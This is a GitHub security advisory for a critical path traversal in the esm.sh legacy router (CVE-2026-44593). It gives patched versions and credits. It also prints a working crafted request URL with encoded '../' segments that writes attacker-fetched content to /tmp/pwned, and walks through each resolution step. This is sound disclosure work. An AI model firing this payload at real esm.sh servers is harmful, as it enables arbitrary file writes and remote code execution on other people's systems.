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esm.sh: Legacy Route Path Traversal Can Lead to RCE

Critical severity GitHub Reviewed Published May 8, 2026 in esm-dev/esm.sh • Updated May 12, 2026

Package

gomod github.com/esm-dev/esm.sh (Go)

Affected versions

< 0.0.0-20260508100112-1960055e1d53

Patched versions

0.0.0-20260508100112-1960055e1d53

Description

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:

    http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
    
  2. Proxy to Legacy Server
    The request is forwarded to:

    http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
    

    which resolves to:

    http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
    
  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:

    legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
    

    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

References

@ije ije published to esm-dev/esm.sh May 8, 2026
Published to the GitHub Advisory Database May 12, 2026
Reviewed May 12, 2026
Last updated May 12, 2026

Severity

Critical

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-44593

GHSA ID

GHSA-3636-h3vx-6465

Source code

Credits

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